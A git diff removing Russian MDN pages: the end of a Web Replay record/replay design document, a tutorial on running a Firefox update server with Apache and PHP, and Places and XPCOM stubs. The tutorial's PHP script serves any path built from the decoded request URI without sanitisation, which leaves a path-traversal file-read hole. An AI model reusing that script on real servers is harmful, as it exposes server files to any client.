-</ol>
-
-<h4 id="Recording">Recording</h4>
-
-<p>A recording content process differs from a normal content process in the following ways:</p>
-
-<ol>
- <li>Calls to certain functions are intercepted by hooking them (rewriting the machine code at their entry points to call a different function with the same signature), including the function used to dispatch mach messages.  When a call or message is intercepted, the wrapped call/message is first performed normally and then it and its outputs are recorded in a data stream for the thread performing the call.  During execution of the wrapped call/message, recording of any inner calls is suppressed, so that they are performed normally without affecting the recording.  The functions which are intercepted are generally at the system call and the system library level.  In general, any function which is not compiled as part of Gecko is fair game.</li>
- <li>Acquisition order of locks is recorded in a data stream for each lock.  Some locks which are associated with non-deterministic components are not recorded, such as the JS GC and helper threads locks.</li>
- <li>Accesses on atomic variables/fields are recorded in a global data stream, as if they were all protected by a global lock.  Some atomics are related to non-deterministic components and are excluded from this stream.</li>
- <li>Threads use file descriptors to wait on locks and notify each other, instead of using the native implementation for locking and condition variables.  At least on Mac, pthreads locks/cvars seem to use a mix of process-local and kernel state, and sometimes don't work correctly after rewinding the process.</li>
- <li>Some behaviors are changed to simplify recording, in ways that should not affect observable behaviors.  For example, incremental GCs (a non-deterministic component) work by posting events to the main thread (a deterministic component), so for now incremental GCs are disabled.  Many of these behavioral changes should eventually be removable.</li>
- <li>Graphics rendering is entirely local to the content process.  Instead of communicating via IPC with a Compositor in the UI process, there is a Compositor in the recording process itself which performs the rendering.</li>
- <li>Some additional instrumentation is performed, per the 'Allowed Non-determinism', section above.</li>
- <li>The IPC, rewind, and debugger components are all active while recording.  These spawn a number of threads which do not participate in the recording: any events they execute are live.  See the sections below for details on how these affect the process' behavior.</li>
-</ol>
-
-<p>To make it easier to ensure that the non-deterministic components do not have an effect on recorded behavior, certain code regions can be marked as disallowing events --- while executing them no thread, lock, or atomic events should be recorded.  This is done in code associated with the non-deterministic components, such as during GC or Ion compilation, to help track down behaviors that should go unrecorded.</p>
-
-<h4 id="Replaying">Replaying</h4>
-
-<p>A replaying content process behaves in the same way as a recording process, except for the following:</p>
-
-<ol>
- <li>The calls and mach messages which were intercepted during recording are also intercepted here.  When a call/message is intercepted, the wrapped call/message is <strong>not</strong> performed, but rather the results of the call/message are read from the data stream and returned to the caller, emulating the behavior of the call/message.  This requires the process to be deterministic enough that events play out in the same order on each thread between recording and replay.  The data stream should have enough error checking in place that we can immediately detect if the replay has gone out of sync with the recording.</li>
- <li>The recorded data streams which specify the acquisition order for each lock are read from and used so that locks are acquired in the same order.  When a thread tries to acquire a lock, it first waits until it is next in line to do so.</li>
- <li>Similarly, atomic accesses which were included in the recording will occur in the same order during replay, as if they were all protected by a single global lock.  Note that while this could potentially be a big drag on performance during both replay and recording, many of the hottest atomics (refcounts, GC counters, and so forth) are associated with non-deterministic components and are not recorded.</li>
-</ol>
-
-<h3 id="IPC_integration">IPC integration</h3>
-
-<p>Communication between the chrome process and a recording or replaying process --- hereafter referred to as the child process --- is managed via a separate middleman content process.  The child process is extended so that it can communicate with the middleman, using a special bidirectional channel and messages separate from IPDL state.</p>
-
-<h4 id="Middleman_process">Middleman process</h4>
-
-<p>The middleman is the same as a normal content process, except that it spawns and communicates with the child process, and avoids creating any documents itself.  Using the middleman provides the following advantages:</p>
-
-<ol>
- <li>IPDL communication is greatly simplified.  The chrome and middleman processes communicate using the standard browser protocols (PContent, PBrowser, etc.) and implementations for their actors, while the middleman and child processes communicate with their own channel and messages, which is tuned to the demands of the recording/replaying process.</li>
- <li>The middleman can perform actions that would be extremely difficult to manage in a replaying process without going out of sync with the recording.  This mainly includes running devtools content-side scripts.</li>
- <li>The middleman can spawn multiple child processes at once, and coordinate their behavior so they run in parallel.  There can be up to one recording child and two replaying children at once.  The advantage of spawning both recording and replaying children is that by switching between different children the middleman can effectively rewind a live recording, then play forward and allow the user to resume interacting with the tab after they have finished inspecting state in the past.  The advantage of using two replaying processes is to provide a smoother experience when rewinding.</li>
-</ol>
-
-<h4 id="Recordingreplaying_process_extensions">Recording/replaying process extensions</h4>
-
-<p>During initialization the child process spawns a thread that does not participate in the recording --- any IPC or other system calls it performs are live, even when replaying.  This thread sends and receives messages from the middleman.</p>
-
-<p>Messages describe actions the child process is able to do independently from the recording; currently this includes sending graphics updates, taking and restoring process snapshots, and responding to debugger requests.</p>
-
-<h3 id="Rewinding_infrastructure">Rewinding infrastructure</h3>
-
-<p>A child process can be rewound to an earlier state in response to a message from the middleman.  After a recording process rewinds, it becomes a replaying process.  Rewinding happens by periodically taking memory snapshots during execution, and then later restoring them.  Care must be taken for efficiency when taking/restoring snapshots and for managing system resources when restoring.</p>
-
-<h4 id="Snapshots">Snapshots</h4>
-
-<p>Late in process initialization the first snapshot is taken, which is simply a copy of the stacks/registers for each thread.  Each subsequent snapshot includes copies of thread stacks/registers as well as a diff containing the original contents of all pages of heap and static memory that were modified since the previous snapshot.  Certain memory regions are excluded from snapshots; these memory regions are allocated with a special API and are used for state that needs to be preserved when rewinding.  Snapshot data may be stored in memory or on disk.  Diffs are computed by first setting up an exception handler thread (mac only) very similar to the one used by asm.js.  When taking the first snapshot all addressable memory in the process is enumerated and write-protected, and as faults occur a special exception handler thread unprotects the memory, copies its contents and marks it as dirty.  When the next snapshot is taken, only the dirty memory is examined for any changes vs. the copy made.</p>
-
-<p>This mechanism requires intercepting mmap (or similar low level allocation functions) so that any newly addressable memory is known --- anonymous mappings would not otherwise be intercepted or included in the recording, as heap allocation is non-deterministic while replaying.  mprotect is intercepted and nop'ed to avoid interference with the dirty memory mechanism, and munmap is intercepted with no actual unmapping performed, so that memory does not need to be remapped when restoring a snapshot (a set of free regions is maintained to allow reusing this memory).</p>
-
-<p>All snapshots are taken from the main thread.  Before taking the snapshot, all threads participating in the recording must enter an idle state, waiting on a thread-specific condition variable.  Threads enter this state whenever they are waiting to acquire a lock or perform an atomic action that is part of the recording.  While recording, threads may make blocking calls to libraries (e.g. kevent).  To allow these threads to be snapshotted, the call is instead performed on a separate thread that does not participate in the recording, so that the calling thread may enter the correct idle state even while its progress is blocked on the call completing.  Once all thread are idle, the main thread computes the memory diff, reads the stacks from each thread and their register state (which each thread recorded by calling setjmp before idling).</p>
-
-<p>Restoring snapshots is also done from the main thread.  As for taking a snapshot, all other threads enter an idle state.  The dirty memory information computed since the last snapshot was taken is used to restore the heap to the state at that last snapshot, and then the memory diffs can be used to restore an earlier snapshot if necessary.  Threads are individually responsible for restoring their stacks; when they wake up from the idle state they see the main thread has prepared a new stack to restore to, so they longjmp to the new register state and copy in the new stack's contents.</p>
-
-<h4 id="Managing_system_resources">Managing system resources</h4>
-
-<p>When the child process restores a snapshot, the state of any system resources it has open is unchanged.  Care must be taken to make sure these resources are coherent to the process after the restore completes.  This is done in the following ways:</p>
-
-<ol>
- <li>Instead of creating or destroying threads on demand, while recording/replaying all threads which will be needed are created during process initialization.  If during the recording the content tries to create more threads than were spawned up front, then the recording fails.  These threads idle until the recording/replaying content tries to 'create' them, then they run their main function, and after completing it will idle indefinitely.  This ensures that no matter when we create or restore a snapshot, the same set of threads will exist and will have consistent stacks locations.</li>
- <li>Locks and condition variables are to some extent system resources, and to avoid problems we make sure each thread is waiting on a consistent variable when saving or restoring a snapshot (see section above).</li>
- <li>IPC integration uses a file descriptor for communicating with the middleman.  This is left alone when restoring a snapshot, so whenever saving or restoring a snapshot they should be in a consistent state for the child process.  Constraints are used for when messages may be sent between the middleman and child process, ensuring that the middleman process cannot send a message at a time when the child process may be rewinding.</li>
-</ol>
-
-<h3 id="Debugger_integration">Debugger integration</h3>
-
-<p>When debugging a normal content process, the devtools JS debugger runs quite a bit of JS code in the content process, communicating with the chrome process primarily through streams of JSON data.  When debugging a child content process, this JS code runs in the middleman process.  When the code creates a Debugger object, that Debugger provides information about the child process rather than the current (middleman) process.  While the Debugger can indicate it is for a child process, the interface should be as transparent as possible to the devtools JS code; the Debugger can still create script/object/etc. debug objects, which refer to specific things in the child process.</p>
-
-<p>As with the devtools JS code, this Debugger lives in the middleman process, and instead of wrapping things from another compartment the debug objects hold heap structures with information about some thing in the child process.  The Debugger can explore the heap by sending messages to the child process to fill in the contents of the debug objects it creates.  Whenever the Debugger is interacting with the child process the child process is paused at some point in execution, and the contents of the debug objects are only valid until the middleman notifies the child process that it can resume forward execution or must rewind to an earlier snapshot.  When the child process pauses again (at a breakpoint, say) the debug objects must be reconstructed.</p>
-
-<p>There is an exception to this, for scripts and script source objects; debug objects for these will continue to hold the same referent after resuming or rewinding the replaying process.  This is necessary for script breakpoints to work, and is implemented by ensuring that the ordering of creation of scripts and script sources is deterministic (mainly by disabling off thread parsing, which is one of the behavior changes during recording/replay).</p>
-
-<p>The user's interface to the devtools for a child process is the same as for a normal content process, except that new UI buttons are added for rewinding (find the last time a breakpoint was hit), and for reverse step/step-in/step-out.  For now only JS state can be inspected by the debugger, though extending this to cover DOM inspection and other devtools features should not be too hard.</p>
-
-<h2 id="Unrecordable_executions">Unrecordable executions</h2>
-
-<p>There are restrictions on the executions that can be recorded.  These should all be detectable during recording, so that we don't attempt to replay an execution we know will not match up with the recording.  The following executions run into fundamental limits of the approach and cannot be replayed:</p>
-
-<ol>
- <li>Executions which throw overrecursion JS exceptions can't be reliably replayed; overrecursion happens at different times depending on how scripts are compiled, which can vary between recording and replaying.</li>
- <li>Similarly, executions which run out of memory at some point can't be reliably replayed.</li>
- <li>Executions which are stopped at some point by the slow script dialog can't be reliably replayed.  Keeping track of the exact point where an interrupt occurred would require quite a bit of recording overhead, and it doesn't seem worth it to try to do this.</li>
-</ol>
-
-<p>The following executions are unlikely to be supported by the initial release, but should be able to be handled at some point in the future:</p>
-
-<ol>
- <li>On x64, asm.js code relies on mprotect to handle out of bounds heap accesses; mprotect works differently while replaying, so some cooperation will be needed between the asm.js exception handler and the dirty memory exception handler.</li>
- <li>Shared array buffers can be used by web content to introduce data races to the browser on the contents of those buffers, going against a fundamental assumption of the record/replay infrastructure.  Recording and replaying executions using these buffers will require new techniques like treating all accesses on the buffers as atomic (probably unacceptable overhead) or performing all accesses on the buffer on a single core and keeping track of context switches.</li>
- <li>DOM workers are not supported yet.  For simplicity, debugger integration is currently only able to handle JS code that runs on the main thread.</li>
- <li>WebGL is not supported yet, as it uses a pretty different rendering path from normal web content.</li>
- <li>Media elements are not supported yet, as many of these run third party multithreaded code which hasn't been tested with the infrastructure.</li>
-</ol>
-
-<h2 id="Porting">Porting</h2>
-
-<p>Almost all implementation work so far has been on macOS.  Windows port work is underway, but is not yet working.  The difficulties are in figuring out the set of system library APIs to intercept, in getting the memory management and dirty memory parts of the rewind infrastructure to work, and in handling the different graphics and IPC pathways on different platforms.</p>
-
-<h2 id="Comparison_with_other_projects">Comparison with other projects</h2>
-
-<p>There is lots of existing work in this area.  The closest projects are <a href="http://rr-project.org/">rr</a>, WebKit's <a href="https://trac.webkit.org/wiki/WebReplayMechanics">replay project</a>, and Microsoft's <a href="https://channel9.msdn.com/blogs/Marron/Time-Travel-Debugging-for-JavaScriptHTML">Time-Travel Debugger</a>.  Compared to rr:</p>
-
-<ol>
- <li>This should work on all platforms and architectures supported by Gecko, though with substantial port work required.</li>
- <li>This will be part of Gecko itself, rather than a separate tool, which means both that developers won't need additional software to use it and that this can't be used to debug other software.</li>
- <li>This can use multiple cores during recording and replay.</li>
- <li>This does not preserve exact behavior. Context switches can occur at different times and data races can lead to different behavior between recording and replay. Data races are bugs in and of themselves, however, so this sort of non-determinism should be fixed regardless.</li>
- <li>This design allows the replaying process to behave differently from the recording process, which allows for a fairly straightforward implementation of IPC and Debugger integration.</li>
-</ol>
-
-<p>Microsoft's and WebKit's replay projects operate at a higher level than rr.  Inputs to the browser and non-deterministic behaviors are recorded so that they can be replayed later.  In Microsoft's project the abstraction layer appears to be the boundary between the JS engine and the rest of the browser, while in WebKit's project the layer appears to be at internal WebKit APIs that can cause JS to run or the behavior of JS code to vary.</p>
-
-<p>Broadly, all of these projects sit on a spectrum: at what level is the boundary between components whose behavior is recorded and the rest of the system?  rr records all behavior in the user space of a process; the boundary is the system calls which are made into the kernel.  This project records all behavior outside of system library calls which the process makes, with exceptions carved out for the allowed non-determinism and for draw targets.  Microsoft's and WebKit's projects record a smaller subset of the browser's behavior.</p>
-
-<p>This project is at a good point on this spectrum.  Compared to a higher level project, this is able to operate on stable, thoroughly documented library APIs.  By focusing on intercepting these APIs, browser instrumentation, recording overhead, and the maintenance burden going forward are all minimized.  Compared to a lower level project, this is able to tolerate more non-determinism.  All code whose behavior is recorded is compiled into Gecko (rather than being part of immutable, usually closed-source libraries) and can be lightly modified to deal with behaviors that function intercepting cannot handle, such as varying hash table layouts and the ordering of atomic accesses.</p>
-
-<h2 id="Appendix_Debugger_Details">Appendix: Debugger Details</h2>
-
-<p>Here is some more detailed information about how a recording/replaying process affects the debugger, and options for future improvements.</p>
-
-<h4 id="Debugger_changes">Debugger changes</h4>
-
-<p>From the perspective of a devtools server, debugging a recording/replaying process is very similar to debugging a live process.  When execution is paused, the Debugger JS object and its various child objects can be used to inspect the execution state in the same way for a either kind of process.  Here are the main differences:</p>
-
-<ol>
- <li>Explicit commands must be sent to the debugger to control execution.  The replayResumeBackward() and replayResumeForward() members may be called to resume execution, and the replayPause() member may be called to pause execution at the next opportunity.  A child process can only pause at breakpoints and at snapshot points (currently these only happen when graphics updates are performed, at which point there is no JS on the stack).</li>
- <li>There is a new onPopFrame handler, which is needed when doing reverse-step-in operations.</li>
- <li>Operations on the debuggee which require interaction with the system will fail.  These operations may be property accesses, evals, or object calls, and an example is accessing the "font" property of a CanvasRenderingContext2D.  Failed operations currently just produce a placeholder "INCOMPLETE" result.</li>
- <li>Operations on the debuggee which have side effects --- eval("x.f = 3") --- should be avoided.  When the process resumes forward or backward these side effects will be lost (the process reverts to its original state) and while paused at a breakpoint these effects can cause some strange behavior --- after the above eval, getting the x.f property directly could produce a different value from eval("x.f").  While the strange behavior could be fixed (it's due to caching) it would be good to prevent or at least discourage users from performing such effectful operations.</li>
- <li>The underlying object of a Debugger.Object is inaccessible; object.unsafeDereference is null.</li>
- <li>As described above under "Debugger integration", child objects besides scripts and script sources become invalid when the debugger resumes execution, and must be reconstructed each time the replaying process pauses.</li>
-</ol>
-
-<h4 id="Inspecting_a_replaying_process">Inspecting a replaying process</h4>
-
-<p>Access to JS objects in the replaying process is currently only done through the JS Debugger interface --- Debugger.Object, Debugger.Frame.eval, and so forth.  This interface overlays a separate implementation from the C++ Debugger, implemented in devtools/server/actors/replay/debugger.js.  This communicates with the replaying process via JSON and is fairly easy to extend for new features (such as web console support).</p>
-
-<h2 id="Appendix_Impacts_on_Gecko_Development">Appendix: Impacts on Gecko Development</h2>
-
-<p>Web replay is designed to minimize the places where other parts of Gecko need to know about it or interact with it.  There are, however, areas where Gecko development is impacted by Web Replay.  This section describes the main areas where ongoing development can break Web Replay and cause its tests to fail.  needinfo? :bhackett on Bugzilla with any questions or concerns.</p>
-
-<p>On treeherder, Web Replay tests currently only run on MacOS opt builds, and are prefixed with browser_dbg_rr.</p>
-
-<h4 id="Calls_to_new_library_functions">Calls to new library functions</h4>
-
-<p>Most non-deterministic behaviors in a recorded/replayed process are captured by redirecting the system library functions which the process calls into --- rewriting their machine code so they invoke a record/replay specific function with the same signature, which records any results of the function and then replays those results later without actually invoking the underlying library function.  Redirected functions include both low level system call wrappers like sendmsg/recvmsg, and higher level functions such as various Cocoa interfaces.  The list of redirected functions can be found in toolkit/recordreplay/ProcessRedirectDarwin.cpp.</p>
-
-<p>When calls are added to Gecko for new system library functions, those functions may need redirections.  In general, redirections are needed for any function that is (a) not compiled as part of Gecko, and either (b) may behave differently between recording and replaying, or (c) depends on data produced by other redirected functions (for example, CoreFoundation types like CFArrayRef and CFStringRef).  A simpler way of telling that a redirection is needed for a function is that the web replay tests crash inside it while replaying.</p>
-
-<p>New redirections can be added to toolkit/recordreplay/ProcessRedirectDarwin.cpp, adding just a few lines for functions with simple interfaces using the various RRFunction macros.  Missing redirections can also be temporarily worked around by avoiding the call when mozilla::recordreplay::IsRecordingOrReplaying().</p>
-
-<h4 id="Recording_events_in_disallowed_areas">Recording events in disallowed areas</h4>
-
-<p>GC marking and finalization may behave differently when recording and replaying, and recording events for a thread --- calling redirected library functions, using recorded locks or recorded atomics --- is disallowed at these times.  There are some other areas where recorded events are also disallowed, such as during JS interrupt callbacks.  Recording an event in one of these areas will fail a !AreThreadEventsDisallowed() assertion.</p>
-
-<p>These failures usually result from accessing a recorded lock or atomic.  Core xpcom and mozglue lock classes and mozilla::Atomic atomics are recorded by default, but many locks and atomics don't actually need to be recorded in order to correctly replay.  Recording for a lock or atomic can be turned off by specifying recordreplay::Behavior::DontPreserve in either the lock's contructor argument or the atomic's template arguments.</p>
-
-<h4 id="Interactions_with_the_middleman_process">Interactions with the middleman process</h4>
-
-<p>When recording or replaying an execution, there is an extra content process involved, the middleman process as described above.  The presence of the middleman requires special handling in IPC internals and some graphics code.  Additionally, IPC channels used to communicate with middleman processes can also communicate with the recording process child of the middleman.  Problems can happen if IPDL actors for a protocol are setup by both the recording and middleman processes, while the UI process only expects to see one such actor.  The usual solution here is to avoid setting up the actor in the middleman process, when mozilla::recordreplay::IsMiddleman().</p>
diff --git a/files/ru/mozilla/setting_up_an_update_server/index.html b/files/ru/mozilla/setting_up_an_update_server/index.html
deleted file mode 100644
index 280b4d7d0b..0000000000
--- a/files/ru/mozilla/setting_up_an_update_server/index.html
+++ /dev/null
@@ -1,91 +0,0 @@
----
-title: Setting up an update server
-slug: Mozilla/Setting_up_an_update_server
-tags:
- - корпорация
- - сервер обновлений
-translation_of: Mozilla/Setting_up_an_update_server
----
-<h3 id="Creating_a_simple_Firefox.2FThunderbird_update_server_with_Apache_and_PHP" name="Creating_a_simple_Firefox.2FThunderbird_update_server_with_Apache_and_PHP">Создание простейшего сервера обновления Firefox/Thunderbird при помощи Apache и PHP</h3>
-
-<p>Цель этого документа заключается в предоставлении основных инструкций по настройке собственного сервера обновлений.</p>
-
-<p>Firefox обеспечивает службы обновления с помощью веб-службы REST - которая содержится в URL при условии наличия XML-файла в этом URL, описывающего доступное обновление.</p>
-
-<p>Во-первых, давайте поговорим о формате URL. Вот URL используемый для обновления Firefox с версии 3.5.2 до Firefox версии 3.5.3:</p>
-
-<dl>
- <dt>Windows</dt>
- <dd><code><a class="link-https" href="https://aus2.mozilla.org/update/3/Firefox/3.5.2/20090729225027/WINNT_x86-msvc/en-US/release/Windows_NT%206.0/default/default/update.xml" rel="freelink">https://aus2.mozilla.org/update/3/Fi...ult/update.xml</a></code></dd>
- <dt>Mac OS X</dt>
- <dd><code><a class="link-https" href="https://aus2.mozilla.org/update/3/Firefox/3.5.2/20090729211433/Darwin_Universal-gcc3/en-US/release/Darwin%208.11.1/default/default/update.xml" rel="freelink">https://aus2.mozilla.org/update/3/Fi...ult/update.xml</a></code></dd>
-</dl>
-
-<p>Формат URL выглядит так:</p>
-
-<pre>https://aus2.mozilla.org/update/3/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VERSION%/%DISTRIBUTION%/%DISTRIBUTION_VERSION%/update.xml
-</pre>
-
-<p>Этот URL-адрес может отображаться в браузере через <code>about:config</code> как <code>app.update.url</code>, но чтобы изменить его, вы должны создать новую строку под названием <code>app.update.url.override</code> которая содержит ваше новое значение.</p>
-
-<p>В нашем примере, мы должны поместить <code>update.xml</code> на сервере в полном пути, указанном в URL обновлений. Таким образом, в корне вашего веб-сервера, нужно создать путь:</p>
-
-<pre>mkdir -p update.dir/3/Firefox/3.5.2/20090729225027/WINNT_x86-msvc/en-US/release/Windows_NT\ 6.0/default/default
-</pre>
-
-<p>Взять файл <code>update.xml</code> из <a class="link-https" href="https://aus2.mozilla.org/update/3/Firefox/3.5.2/20090729225027/WINNT_x86-msvc/en-US/release/Windows_NT%206.0/default/default/update.xml">aus2.mozilla.org</a> и поместить его в самой последней папке <code>default</code>:</p>
-
-<pre>&lt;?xml version="1.0"?&gt;
-&lt;updates&gt;
- &lt;update type="minor" version="3.5.3" extensionVersion="3.5.3" buildID="20090824101458" detailsURL="http://www.mozilla.com/en-US/firefox/3.5.3/releasenotes/"&gt;
- &lt;patch type="complete" URL="http://download.mozilla.org/?product=firefox-3.5.3-complete&amp;os=win&amp;lang=en-US" hashFunction="SHA512" hashValue="f8abbaea98bd453b651c24025dbb8cea5908e532ca64ad7150e88778ccb77c0325341c0fecbec37f31f31cdf7e13955c28140725282d2ce7c4a37c89a25319a1" size="10728423"/&gt;
- &lt;patch type="partial" URL="http://download.mozilla.org/?product=firefox-3.5.3-partial-3.5.2&amp;os=win&amp;lang=en-US" hashFunction="SHA512" hashValue="20b133f1bd2025360bda8ef0c53132a5806dbd0606e0fe7c6d1291d1392532cc960262f87b0c7d4fbe8f9bc9fba64ed28ecd89b664c17f51f98acdd76b26ea6a" size="2531877"/&gt;
- &lt;/update&gt;
-&lt;/updates&gt;
-</pre>
-
-<p>Если вы хотите, чтобы эти сборки были загружены с вашего сервера вместо download.mozilla.org, скопируйте их на сервер и отредактируйте файл  <code>update.xml</code> чтобы изменить ссылки URL.</p>
-
-<p>Далее, мы должны настроить сервер Apache, так чтобы можно было создать файл PHP для обработки веб-службы.</p>
-
-<p>Сначала в  <code>httpd.conf</code>, убедитесь что параметр <code>AllowOverride</code> установлен в значение <code>FileInfo</code> для корневого каталога. Затем добавьте следующие строки в ваш файл <code>.htaccess</code> (вам, возможно, придется создать его) в корневом каталоге:</p>
-
-<pre>&lt;FILES update&gt;
-ForceType application/x-httpd-php
-&lt;/FILES&gt;
-</pre>
-
-<p>Это укажет веб-серверу обработать <code>update</code> в виде файла PHP. Теперь создайте файл PHP с именем <code>update</code> в корневом каталоге:</p>
-
-<pre>&lt;?php
-header("Content-type: text/xml");
-$path = preg_replace('/^\/update/', 'update.dir', urldecode($_SERVER["REQUEST_URI"]));
-echo (file_exists($path)) ? file_get_contents($path) : '&lt;?xml version="1.0"?&gt;&lt;updates&gt;&lt;/updates&gt;';
-?&gt;
-</pre>
-
-<p>Теперь, если вы идете по следующему адресу, вы должны увидеть содержимое XML.</p>
-
-<pre>http://localhost/update/3/Firefox/3.5.2/20090729225027/WINNT_x86-msvc/en-US/release/Windows_NT%206.0/default/default/update.xml
-</pre>
-
-<p>Наконец, установите параметр <code>app.update.url.override</code> в следующее значение URL через <code>about:config</code> (или <a href="/en/MCD/Getting_Started">MCD</a>), а затем выберите Проверка обновлений в меню Справка. Вы должны получить обновление, если оно имеется.</p>
-
-<pre>http://localhost/update/3/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VERSION%/%DISTRIBUTION%/%DISTRIBUTION_VERSION%/update.xml
-</pre>
-
-<h3 id="Security_Considerations" name="Security_Considerations">Соображения безопасности</h3>
-
-<p>Вы можете заметить, что  URL обновления Firefox по умолчанию использует HTTPS выше и обслуживается поверх SSL. SSL действительно помещает дополнительную нагрузку на сервер, и вы можете захотеть использовать обычный HTTP - нет!</p>
-
-<p>Каждый пользователь будет пинговать сервер обновлений регулярно, есть ли обновление или нет (один раз в день по умолчанию). Любой пользователь, который подключается снаружи защищенной сети - в частности, из общественной точки доступа WiFi - потенциально может подключиться и подложить вредоносное обновление. SSL защищает от этой атаки. Файл <code>update.xml</code> маленькие, не увеличивают нагрузку SSL.</p>
-
-<p>Большие обновления могут быть безопасно обслужены с незащищенного сервера, потому что файлы обновления содержат хэш, который клиент проверять. Хэшу можно доверять, только если update.xml доставляется надежно.</p>
-
-<h3 id="See_Also" name="See_Also">Смотрите также</h3>
-
-<ul>
- <li><a href="/en/XULRunner/Application_Update" title="en/XULRunner/Application_Update">XULRunner:Application Update</a></li>
-</ul>
-
-<p>{{ languages( { "ja": "ja/Setting_up_an_update_server" } ) }}</p>
diff --git a/files/ru/mozilla/tech/index.html b/files/ru/mozilla/tech/index.html
deleted file mode 100644
index f9682e62e1..0000000000
--- a/files/ru/mozilla/tech/index.html
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Mozilla technologies
-slug: Mozilla/Tech
-tags:
- - Landing
- - Mozilla
- - NeedsTranslation
- - Reference
- - TopicStub
- - XUL
-translation_of: Mozilla/Tech
----
-<p>Mozilla has several technologies used as components of its projects. These are documented here. (flesh out this text).</p>
-<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ru/mozilla/tech/places/index.html b/files/ru/mozilla/tech/places/index.html
deleted file mode 100644
index 261e8beab0..0000000000
--- a/files/ru/mozilla/tech/places/index.html
+++ /dev/null
@@ -1,77 +0,0 @@
----
-title: Places
-slug: Mozilla/Tech/Places
-tags:
- - Add-ons
- - Developing Mozilla
- - Extensions
- - NeedsTranslation
- - Places
- - TopicStub
-translation_of: Mozilla/Tech/Places
----
-<p></p>
-
-<p><strong>Places</strong> is the bookmarks and history management system introduced in Firefox 3. It offers increased flexibility and complex querying to make handling the places the user goes easier and more convenient. It also includes new features including favicon storage and the ability to annotate pages with arbitrary information. It also introduces new user interfaces for managing all this information; see <a class="wikimo" href="https://wiki.mozilla.org/Places" title="Places on the Mozilla wiki">Places on the Mozilla wiki</a>.</p>
-
-<p>Places stores its data in an <a class="external" href="http://sqlite.org/">SQLite</a> database using the <a href="/en-US/docs/Storage" title="Storage">mozStorage</a> interfaces.</p>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
-
- <dl>
- <dt><a href="/en-US/docs/Places_Developer_Guide" title="Places_Developer_Guide">Places migration guide</a></dt>
- <dd>Migrating existing code to use the Places API.</dd>
- <dt><a href="/en-US/docs/Manipulating_bookmarks_using_Places" title="Manipulating_bookmarks_using_Places">Manipulating bookmarks using Places</a></dt>
- <dd>Examples for how to work with bookmarks using the Places API.</dd>
- <dt><a href="/en-US/docs/Using_the_Places_tagging_service" title="Using_the_Places_tagging_service">Using the Places tagging service</a></dt>
- <dd>How to use the tagging service.</dd>
- <dt><a href="/en-US/docs/Using_the_Places_history_service" title="Using_the_Places_history_service">Using the Places history service</a></dt>
- <dd>How to access history information using the Places API.</dd>
- <dt><a href="/en-US/docs/Using_the_Places_favicon_service" title="Using_the_Places_favicon_service">Using the Places favicon service</a></dt>
- <dd>How to manipulate favicons using the Places API.</dd>
- <dt><a href="/en-US/docs/Using_the_Places_livemark_service" title="Using_the_Places_livemark_service">Using the Places livemark service</a></dt>
- <dd>How to create and manage livemarks.</dd>
- <dt><a href="/en-US/docs/Using_the_Places_annotation_service" title="Using_the_Places_annotation_service">Using the Places annotation service</a></dt>
- <dd>How to work with the annotation service.</dd>
- <dt><a href="/en-US/docs/Mozilla/Tech/Places/Using_the_Places_keywords_API">Using the Places keywords API</a></dt>
- <dd>How to manage Places keywords</dd>
- </dl>
-
- <dl>
- <dt><a href="/en-US/docs/Querying_Places" title="Querying_Places">Querying Places</a></dt>
- <dd>How to query the bookmarks and history system with specific parameters.</dd>
- <dt><a href="/en-US/docs/Retrieving_part_of_the_bookmarks_tree" title="Retrieving_part_of_the_bookmarks_tree">Retrieving part of the bookmarks tree</a></dt>
- <dd>How to fetch a section of the bookmarks tree using queries.</dd>
- <dt><a href="/en-US/docs/Displaying_Places_information_using_views" title="Displaying_Places_information_using_views">Displaying Places information using views</a></dt>
- <dd>How to use Places views to display Places data in your own applications or extensions.</dd>
- <dt><a href="/en-US/docs/Places_utilities_for_JavaScript" title="Places_utilities_for_JavaScript">Places utilities for JavaScript</a></dt>
- <dd>A library of convenient routines that make it easier to work with Places.</dd>
- <dt><a href="/en-US/docs/Mozilla/Tech/Places/places.sqlite_Database_Troubleshooting">Places Database troubleshooting</a></dt>
- <dd>How to deal with a corrupt places.sqlite database.</dd>
- </dl>
-
- <p><span class="alllinks"><a href="/en-US/docs/tag/Places" title="tag/Places">View All...</a></span></p>
- </td>
- <td>
- <h2 class="Related_Topics" id="Design_documents" name="Design_documents">Design documents</h2>
-
- <dl>
- <dt><a href="/en-US/docs/The_Places_database" title="The_Places_database">The Places database</a></dt>
- <dd>High-level overview of the Places database design.</dd>
- <dt><a href="/en-US/docs/Places/History_Service_Design" title="Places/History_Service_Design">History Service Design</a></dt>
- <dd>Design of the history service.</dd>
- <dt><a href="/en-US/docs/Places/Bookmarks_Service/Design" title="Places/Bookmarks_Service/Design">Bookmark Service Design</a></dt>
- <dd>Design of the bookmarks service.</dd>
- <dt><a href="/en-US/docs/Places/Annotation_Service/Design" title="Places/Annotation_Service/Design">Annotation Service Design</a></dt>
- <dd>Design of the annotation service.</dd>
- <dt><a href="/en-US/docs/The_Places_frecency_algorithm" title="The_Places_frecency_algorithm">The Places "frecency" algorithm</a></dt>
- <dd>The algorithm behind the Places location bar (sometimes called the "awesomebar").</dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
diff --git a/files/ru/mozilla/tech/xpcom/index.html b/files/ru/mozilla/tech/xpcom/index.html
deleted file mode 100644
index 07687c0f82..0000000000
--- a/files/ru/mozilla/tech/xpcom/index.html
+++ /dev/null
@@ -1,47 +0,0 @@
----
-title: XPCOM
-slug: Mozilla/Tech/XPCOM
-tags:
- - Landing
- - Mozilla
- - NeedsTranslation
- - TopicStub
- - XPCOM
-translation_of: Mozilla/Tech/XPCOM
----
-<p><span class="seoSummary"><strong>XPCOM</strong> is a cross platform component object model, similar to Microsoft COM. It has multiple <a href="/en-US/docs/XPCOM/Language_Bindings" title="XPCOM/Language_Bindings">language bindings</a>, allowing XPCOM components to be used and implemented in JavaScript, Java, and Python in addition to C++.</span> Interfaces in XPCOM are defined in a dialect of IDL called <a href="/en-US/docs/XPIDL" title="XPIDL">XPIDL</a>.</p>
-
-<div class="warning">
